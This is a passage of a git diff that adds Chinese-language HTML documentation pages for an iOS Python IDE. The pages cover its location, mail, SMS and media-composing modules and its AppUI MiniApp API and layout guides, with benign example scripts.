适合做什么当前坐标、指南针、坐标转地址、地址转坐标
调用时机定位放在按钮回调;reverse_geocode / geocode 走后台线程
推荐顺序查/申请权限 → start_updatesget_locationstop_updates
用完即停不需要持续定位时调用 stop_updates();指南针同理用 stop_heading()
+
+

#快速开始

+

下面脚本申请权限,读取一次当前坐标,并做一次逆地理编码:

+
+
+ python +
+
+
import asyncio
+import time
+import location
+
+if not location.is_authorized():
+    location.request_access()
+    time.sleep(0.5)
+
+if not location.is_authorized():
+    print("位置权限未授权:", location.authorization_status())
+else:
+    location.start_updates()
+    try:
+        time.sleep(1)
+        loc = location.get_location()
+        if loc:
+            lat, lon = loc["latitude"], loc["longitude"]
+            print(f"坐标: {lat:.5f}, {lon:.5f}")
+            print(f"精度: ±{loc['accuracy']:.0f} m")
+
+            place = asyncio.run(
+                asyncio.to_thread(location.reverse_geocode, lat, lon)
+            )
+            if place.get("success"):
+                print("地址:", place.get("name") or place.get("city"))
+            else:
+                print("地址解析失败:", place.get("error"))
+        else:
+            print("暂未获得坐标,请稍后重试")
+    finally:
+        location.stop_updates()
+
+
+

#AppUI 示例

+

把定位、指南针、地址解析都放进按钮回调;界面只展示当前状态。地理编码在后台线程执行,避免主线程死锁。

+
+
+ python +
+
+
import threading
+import time
+
+import appui
+import location
+
+DEFAULT_LAT = 31.2304
+DEFAULT_LON = 121.4737
+
+state = appui.State(
+    auth="未查询",
+    status="点击按钮开始",
+    latitude=DEFAULT_LAT,
+    longitude=DEFAULT_LON,
+    accuracy="—",
+    heading="—",
+    place="—",
+)
+
+
+def _format_place(result):
+    if not result.get("success"):
+        return result.get("error", "解析失败")
+    parts = [
+        result.get("name"),
+        result.get("street"),
+        result.get("city"),
+        result.get("state"),
+    ]
+    text = " · ".join(part for part in parts if part)
+    return text or str(result)
+
+
+def refresh_location():
+    auth = location.authorization_status()
+    state.auth = auth
+
+    if auth in ("denied", "restricted"):
+        state.status = "定位权限不可用,请到系统设置允许定位"
+        return
+
+    if not location.is_authorized():
+        state.status = "正在请求定位权限..."
+        location.request_access()
+        state.auth = location.authorization_status()
+        if not location.is_authorized():
+            state.status = "请在系统弹窗中允许定位后,再次点击「刷新定位」"
+            return
+
+    state.status = "正在定位..."
+    location.start_updates()
+    try:
+        time.sleep(0.8)
+        loc = location.get_location()
+        if loc and loc.get("latitude") is not None:
+            state.latitude = float(loc["latitude"])
+            state.longitude = float(loc["longitude"])
+            state.accuracy = f"±{float(loc.get('accuracy', 0.0)):.0f} m"
+            state.status = "定位成功"
+        else:
+            state.status = "暂未获得坐标,请稍后再次点击「刷新定位」"
+    finally:
+        location.stop_updates()
+
+
+def read_heading():
+    location.start_heading()
+    try:
+        time.sleep(0.5)
+        heading = location.get_heading()
+        if heading:
+            magnetic = float(heading.get("magnetic", 0.0))
+            state.heading = f"{magnetic:.0f}°"
+            state.status = "指南针已更新"
+        else:
+            state.heading = "—"
+            state.status = "暂未获得指南针数据"
+    finally:
+        location.stop_heading()
+
+
+def reverse_lookup():
+    if state.status != "定位成功":
+        state.status = "请先点击「刷新定位」"
+        return
+
+    state.status = "正在解析地址..."
+    lat, lon = state.latitude, state.longitude
+
+    def work():
+        result = location.reverse_geocode(lat, lon)
+        state.place = _format_place(result)
+        state.status = "地址解析完成" if result.get("success") else "地址解析失败"
+
+    threading.Thread(target=work, daemon=True).start()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("操作", [
+                appui.Button("刷新定位", action=refresh_location)
+                .button_style("bordered_prominent"),
+                appui.Button("读取指南针", action=read_heading),
+                appui.Button("坐标转地址", action=reverse_lookup),
+            ]),
+            appui.Section("定位", [
+                appui.LabeledContent("授权", value=state.auth),
+                appui.LabeledContent("纬度", value=f"{state.latitude:.5f}"),
+                appui.LabeledContent("经度", value=f"{state.longitude:.5f}"),
+                appui.LabeledContent("精度", value=state.accuracy),
+                appui.LabeledContent("指南针", value=state.heading),
+            ]),
+            appui.Section("地址", [
+                appui.Text(state.place).foreground_color("secondaryLabel"),
+                appui.Text(state.status).font("caption").foreground_color("tertiaryLabel"),
+            ]),
+        ]).navigation_title("定位")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
authorization_status()查询授权 → 如 authorized_when_in_use
is_authorized()是否已授权 → bool
request_access()申请「使用期间」定位权限
start_updates()开始接收位置更新
stop_updates()停止位置更新
get_location()读取最新坐标 → dictNone
start_heading()开始接收指南针更新
stop_heading()停止指南针更新
get_heading()读取指南针 → dictNone
reverse_geocode(lat, lon)坐标转地址 → dict
geocode(address)地址转坐标 → dict
+

#权限

+
API说明
authorization_status()返回状态字符串,不弹窗
is_authorized()authorized_when_in_useauthorized_always 时为 True
request_access()弹出系统授权,申请「使用期间」定位
+

authorization_status() 常见值:

+
  • not_determined — 尚未选择
  • authorized_when_in_use — 使用期间允许
  • authorized_always — 始终允许
  • denied / restricted — 不可用
+
+
+ python +
+
+
if not location.is_authorized():
+    location.request_access()
+print(location.authorization_status())
+
+

也可用 permission 统一查询:permission.status("location")

+

#定位

+

start_updates() — 开始接收 GPS 更新。第一次读取前通常需要等待一小段时间。

+

get_location() — 返回最新坐标字典,暂无数据时返回 None

+
+
+ python +
+
+
import time
+import location
+
+location.start_updates()
+try:
+    time.sleep(1)
+    loc = location.get_location()
+    if loc:
+        print(loc["latitude"], loc["longitude"])
+finally:
+    location.stop_updates()
+
+
字段说明
latitude / longitude纬度 / 经度
altitude海拔(米)
accuracy水平精度(米)
timestampUnix 时间戳
+

stop_updates() — 停止定位,省电。

+

#指南针

+
API说明
start_heading()开始接收指南针更新
get_heading()读取磁北、真北与精度
stop_heading()停止指南针更新
+
+
+ python +
+
+
import time
+import location
+
+location.start_heading()
+try:
+    time.sleep(0.5)
+    heading = location.get_heading()
+    if heading:
+        print(heading["magnetic"], heading["true_heading"])
+finally:
+    location.stop_heading()
+
+

get_heading() 字段:magnetictrue_headingaccuracy

+
注意:指南针与 GPS 是两条独立更新流,分别启动和停止。
+

#地理编码

+

reverse_geocode(latitude, longitude) — 坐标转地址。

+

geocode(address) — 地址转坐标。

+
+
+ python +
+
+
import asyncio
+import location
+
+
+async def lookup():
+    place = await asyncio.to_thread(location.reverse_geocode, 31.2304, 121.4737)
+    coords = await asyncio.to_thread(location.geocode, "上海市黄浦区")
+    print(place)
+    print(coords)
+
+
+asyncio.run(lookup())
+
+

成功时 reverse_geocode 通常带 success: True,并可能有 namestreetcitystatecountrypostal_code 等字段。geocode 成功时带 latitudelongitude

+
注意:不要在 App 主线程同步调用地理编码;否则会返回 code: -100 错误。MiniApp / AppUI 回调里用 asyncio.to_thread(...) 或后台线程。
+

#AppUI MapView {#map-view}

+

在 AppUI 中用 appui.MapView 展示中心点与标记;先通过本模块拿到坐标,再在地图组件里绑定。完整示例见 定位地图 Cookbook

+
+

#常见错误

+
错误写法后果修正
主线程直接 geocode / reverse_geocode返回 code: -100,可能死锁asyncio.to_thread 或后台线程
start_updates 就读 get_location返回 None先启动更新并等待 0.5–1 秒
权限被拒后反复 request_access用户烦躁、仍拿不到坐标提示去系统设置,不要循环弹窗
用完不 stop_updates持续耗电读取完成后调用 stop_updates()
+
+

#相关文档

+
文档用途
permission统一查询 location 权限
weather按坐标或当前位置查天气
定位地图 CookbookAppUI MapView 标记当前位置
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/mail-module/index.html b/docs/docs/pages/mail-module/index.html new file mode 100644 index 0000000..f8096fe --- /dev/null +++ b/docs/docs/pages/mail-module/index.html @@ -0,0 +1,431 @@ + + + + + + mail - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

mail

+

系统邮件编写器发送邮件。

+
+ +
+

系统邮件撰写:弹出 MessageUI 邮件编辑器,填写收件人、主题、正文与附件。

+
边界:仅唤起系统邮件界面,用户确认后才发送;不能静默发信。需设备已配置邮件账户(can_send()True)。
+

#模块概览

+
说明
导入import mail
适合做什么分享报告、发送导出文件、反馈邮件
调用时机compose() 放在按钮回调;会弹出全屏编辑器
推荐顺序can_send()compose(to, subject, body, ...)
返回值sent / saved / cancelled / failed
+
+

#快速开始

+

检查能否发信并撰写一封邮件:

+
+
+ python +
+
+
import mail
+
+if not mail.can_send():
+    print("未配置邮件账户")
+else:
+    result = mail.compose(
+        to=["user@example.com"],
+        subject="Hello",
+        body="来自 PythonIDE 的测试邮件",
+    )
+    print(result)
+
+

带附件:

+
+
+ python +
+
+
import mail
+
+attachment = {
+    "path": "/path/report.pdf",
+    "mime_type": "application/pdf",
+    "name": "report.pdf",
+}
+result = mail.compose(
+    to="team@example.com",
+    subject="周报",
+    body="请查收附件",
+    attachments=[attachment],
+)
+
+
+

#AppUI 示例

+

撰写邮件放在按钮回调;界面展示最近一次结果。

+
+
+ python +
+
+
import appui
+import mail
+
+state = appui.State(
+    can_send="—",
+    to="user@example.com",
+    subject="PythonIDE 演示",
+    body="这是一封测试邮件。",
+    result="尚未发送",
+)
+
+
+def refresh_can_send():
+    state.can_send = "是" if mail.can_send() else "否"
+
+
+def send_mail():
+    refresh_can_send()
+    if state.can_send != "是":
+        state.result = "未配置邮件账户"
+        return
+
+    result = mail.compose(
+        to=[state.to],
+        subject=state.subject,
+        body=state.body,
+    )
+    state.result = result
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("邮件", [
+                appui.TextField("收件人", text=state.to),
+                appui.TextField("主题", text=state.subject),
+                appui.TextEditor(text=state.body).frame(min_height=100),
+                appui.Button("撰写并发送", action=send_mail)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("可发送", value=state.can_send),
+                appui.LabeledContent("结果", value=state.result),
+            ]),
+        ]).navigation_title("邮件")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
can_send()是否已配置邮件账户 → bool
compose(to, subject='', body='', cc=None, bcc=None, attachments=None)弹出编辑器 → 结果字符串
MailError原生能力入口失败异常
+

#compose

+

compose(...) — 呈现系统 MFMailComposeViewController

+
参数说明
to / cc / bcc字符串或列表
subject / body主题与正文
attachments[{"path", "mime_type", "name"}, ...]
+
+
+ python +
+
+
result = mail.compose(to=["a@b.com"], subject="Hi", body="...")
+# sent | saved | cancelled | failed
+
+
+

#常见错误

+
错误写法后果修正
未检查 can_send()无法弹出编辑器先判断并提示用户配置账户
body() 里调用 compose每次刷新弹邮件窗放进按钮回调
期望后台自动发信系统不允许用户必须在编辑器中确认发送
附件路径不存在failed确认文件在沙盒可访问路径
+
+

#相关文档

+
文档用途
message短信 / iMessage
share通用分享面板
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/media-composer-module/index.html b/docs/docs/pages/media-composer-module/index.html new file mode 100644 index 0000000..4a790bb --- /dev/null +++ b/docs/docs/pages/media-composer-module/index.html @@ -0,0 +1,460 @@ + + + + + + media_composer - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

media_composer

+

视频合并、配音与导出。

+
+ +
+

视频合成与导出:按顺序拼接视频、为视频替换/添加音轨、转码导出 MP4。

+
边界:基于 AVFoundation,操作可能耗时较长(阻塞脚本数秒到两分钟)。输入/输出路径须为 App 可访问的本地文件;合成放在按钮回调,不要在 body() 中自动执行。素材可先由 video_recorderphotos 获得。
+

#模块概览

+
说明
导入import media_composer
适合做什么多段录像拼接、替换背景音、统一导出 MP4
调用时机用户确认后调用;显示进度/状态中
推荐顺序确认源文件存在 → merge_videos / merge_audio / export → 校验输出路径
输出格式当前 Bridge 导出为 .mp4
+
+

#快速开始

+

下面脚本检查素材是否存在,再合并导出:

+
+
+ python +
+
+
import os
+import media_composer
+
+clip = os.path.join(os.path.expanduser("~/Documents"), "clip1.mov")
+out = os.path.join(os.path.expanduser("~/Documents"), "merged.mp4")
+
+if not os.path.exists(clip):
+    print("请先把视频放到:", clip)
+else:
+    try:
+        path = media_composer.merge_videos([clip], out)
+        print("已导出:", path)
+    except media_composer.MediaComposerError as exc:
+        print("合成失败:", exc, f"code={exc.code}")
+
+

为视频替换音轨:

+
+
+ python +
+
+
import media_composer
+
+media_composer.merge_audio("video.mov", "audio.m4a", "output.mp4")
+
+
+

#AppUI 示例

+

合成放在按钮回调;先检查文件是否存在再执行。

+
+
+ python +
+
+
import appui
+import os
+import media_composer
+
+DOCS = os.path.expanduser("~/Documents")
+CLIP = os.path.join(DOCS, "clip1.mov")
+OUTPUT = os.path.join(DOCS, "merged.mp4")
+
+state = appui.State(
+    input_path=CLIP,
+    output_path=OUTPUT,
+    result="—",
+    status="准备好素材后点击合成",
+)
+
+
+def run_merge():
+    if not os.path.exists(state.input_path):
+        state.batch_update(
+            result="—",
+            status=f"找不到源文件: {state.input_path}",
+        )
+        return
+
+    try:
+        path = media_composer.merge_videos([state.input_path], state.output_path)
+        state.batch_update(
+            result=path or state.output_path,
+            status="合成完成",
+        )
+    except media_composer.MediaComposerError as exc:
+        state.batch_update(
+            result="—",
+            status=f"失败: {exc}",
+        )
+
+
+def body():
+    exists = "存在" if os.path.exists(state.input_path) else "缺失"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("素材", [
+                appui.LabeledContent("源视频", value=state.input_path),
+                appui.LabeledContent("状态", value=exists),
+                appui.LabeledContent("输出", value=state.output_path),
+            ]),
+            appui.Section("操作", [
+                appui.Button("合并导出 MP4", action=run_merge)
+                .button_style("bordered_prominent"),
+                appui.LabeledContent("结果", value=state.result),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="请先把 clip1.mov 放到 Documents;合成可能耗时。"),
+        ]).navigation_title("视频合成")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
merge_videos(paths, output_path)按顺序拼接视频
merge_audio(video_path, audio_path, output_path)视频 + 音轨合成
export(input_path, output_path, format)转码/导出
MediaComposerError操作失败时抛出
+

#merge_videos

+

merge_videos(paths, output_path) -> str

+
+
+ python +
+
+
path = media_composer.merge_videos(
+    ["part1.mov", "part2.mov"],
+    "final.mp4",
+)
+
+

按列表顺序拼接各文件的视频轨道;无视频轨的文件会被跳过。返回输出路径。

+

#merge_audio

+

merge_audio(video_path, audio_path, output_path) -> str

+
+
+ python +
+
+
path = media_composer.merge_audio(
+    "silent.mov",
+    "voice.m4a",
+    "with_audio.mp4",
+)
+
+

取视频的画面轨与音频文件的音轨,时长取两者较短者。

+

#export

+

export(input_path, output_path, format="mp4") -> str

+
+
+ python +
+
+
path = media_composer.export("input.mov", "output.mp4")
+
+

format 为兼容参数;当前 Bridge 统一导出 MP4。

+

#异常

+
code含义
invalid_input路径缺失或列表为空
compose_failed无法创建合成轨道
export_failed导出会话失败或超时
+
+

#常见错误

+
错误写法后果修正
body() 里合成每次刷新都重跑放进按钮回调
源文件不存在export_failed / 空输出os.path.exists()
paths 列表invalid_input至少提供一个视频
合成中反复点按钮重复阻塞加状态锁或禁用按钮
+
+

#相关文档

+
文档用途
video_recorder采集视频素材
avplayer预览合成结果
photos保存视频到相册
audio_recorder采集配音素材
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/message-module/index.html b/docs/docs/pages/message-module/index.html new file mode 100644 index 0000000..fb01dce --- /dev/null +++ b/docs/docs/pages/message-module/index.html @@ -0,0 +1,402 @@ + + + + + + message - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

message

+

系统信息编写器发送短信或 iMessage。

+
+ +
+

系统短信 / iMessage 撰写:弹出 Messages 编辑器发送文本或附件。

+
边界:仅唤起系统信息界面,用户确认后才发送;不能静默群发短信。模拟器上可能不可用。
+

#模块概览

+
说明
导入import message
适合做什么快速发短信、分享链接、附带文件
调用时机compose() 放在按钮回调
推荐顺序can_send()compose(recipients, body, ...)
返回值sent / cancelled / failed
+
+

#快速开始

+
+
+ python +
+
+
import message
+
+if not message.can_send():
+    print("此设备无法发送短信")
+else:
+    result = message.compose(
+        ["+8613800138000"],
+        "Hello from PythonIDE",
+    )
+    print(result)
+
+
+

#AppUI 示例

+
+
+ python +
+
+
import appui
+import message
+
+state = appui.State(
+    can_send="—",
+    phone="+8613800138000",
+    body="来自 PythonIDE 的测试短信",
+    result="尚未发送",
+)
+
+
+def refresh_can_send():
+    state.can_send = "是" if message.can_send() else "否"
+
+
+def send_sms():
+    refresh_can_send()
+    if state.can_send != "是":
+        state.result = "无法发送短信"
+        return
+
+    result = message.compose([state.phone], state.body)
+    state.result = result
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("短信", [
+                appui.TextField("号码", text=state.phone),
+                appui.TextEditor(text=state.body).frame(min_height=80),
+                appui.Button("撰写短信", action=send_sms)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("可发送", value=state.can_send),
+                appui.LabeledContent("结果", value=state.result),
+            ]),
+        ]).navigation_title("短信")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
can_send()设备能否发短信 → bool
compose(recipients, body='', attachments=None)弹出编辑器 → 结果字符串
MessageError原生能力入口失败异常
+

#compose

+

compose(recipients, body='', attachments=None)

+
参数说明
recipients手机号或 Apple ID,字符串或列表
body正文
attachments文件路径列表
+
+
+ python +
+
+
result = message.compose(["+8613800138000"], "你好")
+# sent | cancelled | failed
+
+
+

#常见错误

+
错误写法后果修正
未检查 can_send()编辑器打不开先判断可用性
body()compose每次刷新弹窗放进按钮回调
期望批量静默发送系统不允许需用户逐条确认
模拟器测试常返回不可用在真机验证
+
+

#相关文档

+
文档用途
mail电子邮件
share通用分享
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/miniapp-appui-api-index/index.html b/docs/docs/pages/miniapp-appui-api-index/index.html new file mode 100644 index 0000000..9772618 --- /dev/null +++ b/docs/docs/pages/miniapp-appui-api-index/index.html @@ -0,0 +1,367 @@ + + + + + + AppUI API 地图 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

AppUI API 地图

+

按任务选择入口、状态、布局、控件、导航、媒体和图表 API。

+
+ +
+

这页按任务组织 AppUI API。还没确定页面结构时,先看 AppUI UI 模式

+

#最小正确组合

+
+
+ python +
+
+
import appui
+
+state = appui.State(name="MiniApp", enabled=True, saved=False)
+
+
+def set_name(value):
+    state.batch_update(name=value, saved=False)
+
+
+def set_enabled(value):
+    state.batch_update(enabled=value, saved=False)
+
+
+def save():
+    state.saved = bool(state.name.strip())
+
+
+def body():
+    footer = "Saved" if state.saved else "Edit values and tap Save"
+    form = appui.Form([
+        appui.Section("Controls", [
+            appui.TextField("Name", text=state.name, on_change=set_name),
+            appui.Toggle("Enabled", is_on=state.enabled, on_change=set_enabled),
+        ]),
+        appui.Section("Output", [
+            appui.LabeledContent("Name", value=state.name or "Missing"),
+            appui.LabeledContent("Enabled", value=str(state.enabled)),
+        ], footer=footer),
+    ]).navigation_title("API 地图")
+
+    return appui.NavigationStack(
+        form.toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button("Save", action=save)
+                .button_style("bordered_prominent"),
+            )
+        ])
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:页面显示输入、开关、输出和导航栏保存按钮;修改后点击 Save 会更新保存状态。

+

#按任务查 API

+
任务首选 API继续阅读
启动 MiniAppappui.run函数参考
控制呈现方式appui.run(..., presentation=...)函数参考
程序化弹层presentation_present / presentation_dismiss呈现 API
保存普通界面状态State状态管理
多字段一起更新state.batch_update(...)状态管理
高频局部刷新ReactiveState性能与实时界面
派生数据computed状态管理
状态变化后的副作用effect状态管理
双向绑定bind函数参考
输入设置项Form + Section布局系统
动态列表List + ForEach布局系统
列表进详情NavigationStack + NavigationLink导航与页面结构
程序化跳转NavigationPath + destinations导航与页面结构
多主分区TabView + Tab导航与页面结构
底部状态条展开面板.tab_view_bottom_accessory + .sheet导航参考
导航栏按钮ToolbarItem导航参考
临时弹层.sheet / .popover呈现 API
确认和错误提示.alert / .confirmation_dialog呈现 API
搜索和刷新.searchable / .refreshable交互与回调
空状态ContentUnavailableView数据展示
加载状态ProgressView数据展示
输入控件TextFieldSecureFieldTextEditor控件 API
选择控件TogglePickerSliderStepper控件 API
媒体和文件PhotoPickerCameraPickerFileImporter媒体 API
地图、网页、视频MapViewWebViewVideoPlayer媒体 API
图表和绘制ChartCanvasDrawingContextPath图表 API
+

#行为契约

+
API保证注意
appui.run(...)启动当前 MiniApp 页面。一个脚本只保留一个最终入口。
State字段变化后页面重建。多字段同时更新用 batch_update(...)
Button(action=...)点击后执行命名回调。不要写 action=save()
TextField(on_change=...)输入变化时把新值交给回调。回调要写回 State
ForEach(..., key=...)维护动态行身份。key 必须来自稳定业务 id。
NavigationLink打开目标详情页。目标页用函数返回 View,避免把复杂逻辑塞进行内。
.tab_view_bottom_accessory(...) + .sheet(...)底部常驻 compact 视图点击后打开原生 sheet。适合播放、下载、录音、导航等持续任务;紧凑条负责常驻状态,完整面板交给系统 sheet 处理下拉关闭、圆角和拖拽手感。
.sheet(...) / .alert(...)展示临时页面或提示。is_presented 要由状态控制。
PhotoPicker / FileImporter触发系统选择流程。处理用户取消、权限拒绝和空结果。
+

#选择顺序

+
  1. 先选容器:NavigationStackTabViewListFormScrollView
  2. 再选数据流:StateReactiveStatebindcomputedTimer
  3. 再选控件:输入、选择、按钮、工具栏、弹层。
  4. 再选状态反馈:空状态、加载、错误、保存成功、权限拒绝。
  5. 最后选视觉:字体、颜色、边距、背景、图表或媒体。
+

#失败路径

+
  • API 名不确定:先按任务查本页,再进入对应 appui-ref-*
  • 按钮没反应:确认 Button(action=...) 传入命名函数。
  • 输入不更新:确认 on_change 写回 State
  • 列表错乱:确认 ForEach 使用稳定 key
  • 页面空白:确认 body() 返回 View,appui.run(...) 在脚本末尾调用。
+

#相关文档

+
文档用途
快速上手跑通第一个 MiniApp。
运行时选择判断是否应该使用 AppUI。
AppUI UI 模式选择页面结构。
MiniApp 开发排错排查入口、状态、布局和系统能力。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/miniapp-appui-ui-patterns/index.html b/docs/docs/pages/miniapp-appui-ui-patterns/index.html new file mode 100644 index 0000000..6dcb5ea --- /dev/null +++ b/docs/docs/pages/miniapp-appui-ui-patterns/index.html @@ -0,0 +1,375 @@ + + + + + + AppUI UI 模式 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

AppUI UI 模式

+

按页面类型选择 Form、List、NavigationStack、TabView 和媒体承载。

+
+ +
+

这篇文档帮你先选对页面结构,再进入具体 API。已经知道 API 名时,直接查 AppUI API 地图

+

#先记住 4 条规则

+
  1. 先定页面结构,再定控件。
  2. 设置和编辑优先 Form + Section,动态数据优先 List + ForEach
  3. 多页面优先 NavigationStack + NavigationLink,主分区优先 TabView + Tab
  4. 默认使用原生结构;只有视频、地图、WebView、相机、Chart、Canvas、游戏化首屏这类场景才使用自定义承载。
+

#最小模式示例

+
+
+ python +
+
+
import appui
+
+items = [
+    {"id": "inbox", "title": "收件箱", "count": 12},
+    {"id": "today", "title": "今日任务", "count": 5},
+    {"id": "done", "title": "已完成", "count": 32},
+]
+
+
+def item_key(item):
+    return item["id"]
+
+
+def detail_view(item):
+    return appui.Form([
+        appui.Section(item["title"], [
+            appui.LabeledContent("Count", value=str(item["count"])),
+        ])
+    ]).navigation_title(item["title"])
+
+
+def row_view(item):
+    return appui.NavigationLink(
+        destination=detail_view(item),
+        label=appui.HStack([
+            appui.Text(item["title"])
+            .frame(max_width=appui.infinity, alignment="leading"),
+            appui.Text(str(item["count"])).foreground_color("secondaryLabel"),
+        ]),
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("分区", [
+                appui.ForEach(items, row_builder=row_view, key=item_key),
+            ]),
+        ]).navigation_title("UI 模式")
+    )
+
+
+appui.run(body)
+
+

预期效果:列表显示三个分区,点击任一行进入对应详情页。

+

#按页面选择结构

+
页面类型推荐结构适合
单页工具NavigationStack + VStack计算器、转换器、小查询页
设置页NavigationStack + Form + Section开关、输入、选择器、账号配置
列表页NavigationStack + List + ForEach任务、笔记、记录、搜索结果
列表详情NavigationStack + NavigationLink课程、商品、文档、条目详情
多主分区TabView + Tab首页、记录、设置、统计
底部常驻状态条TabView + .tab_view_bottom_accessory + .sheet音乐、播客、下载、录音、导航
仪表盘ScrollView + LazyVGrid + ChartKPI、日报、趋势图、监控
媒体页VideoPlayer / MapView / WebView视频、地图、网页和富内容
自定义绘制Canvas + DrawingContext + Path轻量绘图、签名板、图形面板
+

#高频能力入口

+
能力常见场景继续阅读
NavigationStack页面 push、详情页、设置页导航与页面结构
NavigationLink列表进详情、设置项进入子页导航与页面结构
NavigationPath程序化跳转、返回、带参数详情导航与页面结构
TabView / Tab首页、记录、设置等主分区导航与页面结构
.tab_view_bottom_accessory + .sheet底部状态条点击后打开原生面板导航参考
Form / Section设置、资料编辑、筛选条件布局系统
TextField / SecureField单行输入、密码、API Key控件 API
Toggle / Picker / Slider开关、模式、连续数值控件 API
List / ForEach动态行、分组数据、原生列表布局系统
ContentUnavailableView空状态、无结果、无权限提示数据展示
.searchable / .refreshable搜索过滤、下拉刷新交互与回调
PhotoPicker / FileImporter选图、导入 PDF/CSV/文本媒体与系统集成
CameraPicker / MapView / WebView拍照、地图、网页媒体与系统集成
Chart / Canvas / Path数据看板、自定义绘制图表与绘图
VideoPlayer / AsyncImage视频播放、远程封面媒体与系统集成
+

#反模式速查

+
  • 不要用一个巨大 VStack 承载整页;内容会变多时用 ListFormScrollView
  • 不要在 List 行里放复杂媒体承载;视频、地图、WebView 应该放在稳定页面区域。
  • 不要把所有编辑逻辑塞进列表行;详情页或表单页负责局部编辑。
  • 不要把全局播放、下载、录音状态硬塞成一个独立 Tab;需要常驻底部状态时用 .tab_view_bottom_accessory 显示紧凑条,再用 .sheet 展开详情。
  • 不要用颜色硬模拟主题;优先使用 systemBackgroundlabelsecondaryLabel
  • 不要把网络、权限、文件写入 body();放到按钮、刷新或明确加载动作。
+

#需求描述模板

+

描述一个 AppUI MiniApp 时,最好一次说清:

+
  1. 这是一个 appui MiniApp。
  2. 有几个页面,每页负责什么。
  3. 每页是列表、表单、详情、仪表盘还是媒体页。
  4. 需要哪些状态、空态、错误态和加载态。
  5. 需要哪些系统能力、权限、保存或导出路径。
+

#失败路径

+
  • 页面越来越乱:先回到“按页面选择结构”,不要先堆控件。
  • 设置页不像原生:改成 Form + Section
  • 列表搜索后错行:给 ForEach 提供稳定业务 key。
  • 动画或媒体卡顿:确认是否应该用 sceneVideoPlayerCanvas 或专门媒体区域。
+

#API 参考

+

按任务查 API 见 AppUI API 地图。需要判断运行时时,先看 运行时选择

+

#相关文档

+
文档用途
快速上手四个可预览示例串起最小闭环。
AppUI API 地图按任务查 30 项高频 API。
原生能力入口AppUI 页面里调用 iOS 原生模块。
开发排错空白页、按钮无效、输入不更新等问题。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/miniapp-choose-runtime/index.html b/docs/docs/pages/miniapp-choose-runtime/index.html new file mode 100644 index 0000000..f54520b --- /dev/null +++ b/docs/docs/pages/miniapp-choose-runtime/index.html @@ -0,0 +1,359 @@ + + + + + + 运行时选择 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

运行时选择

+

判断该用 appui、widget、ui、scene 还是 console。

+
+ +
+

MiniApp 先选运行时,再写代码。运行时选错会让布局难维护、交互不可用、系统能力接不上。

+

#默认判断

+

大多数“像 App 一样能点、能输入、能保存状态”的需求,默认选 appui。只有当需求明确是小组件、游戏绘制、Pythonista 兼容 UI 或纯输出脚本时,才换运行时。

+

#决策表

+
需求首选运行时不建议
原生表单、列表、导航、设置页、工具页appui用 HTML 模拟 iOS 设置页
主屏、锁屏、StandBy 小组件widget用 AppUI 写桌面 Widget
命令输出、批处理、日志console为纯输出脚本硬做 UI
绘制、小游戏、精灵、连续触摸scene用 AppUI 手写游戏循环
Pythonista 兼容的命令式界面脚本uiappui 混用通配导入
已有 Web 页面或必须使用 DOM/CSS/JSHTML / WebView为普通工具页引入 Web 结构
相机、定位、通知、存储等系统能力appui + 对应模块在 Web 页面里绕过原生能力
+

#AppUI 骨架

+
+
+ python +
+
+
import appui
+
+state = appui.State(status="Ready")
+
+
+def run_action():
+    state.status = "Action completed"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("MiniApp", [
+                appui.LabeledContent("Runtime", value="appui"),
+                appui.LabeledContent("Status", value=state.status),
+                appui.Button("Run", action=run_action)
+                .button_style("bordered_prominent"),
+            ])
+        ]).navigation_title("运行时")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:预览显示一个原生表单页面,点击 Run 后状态变为 Action completed

+

#不同运行时的边界

+

#widget

+

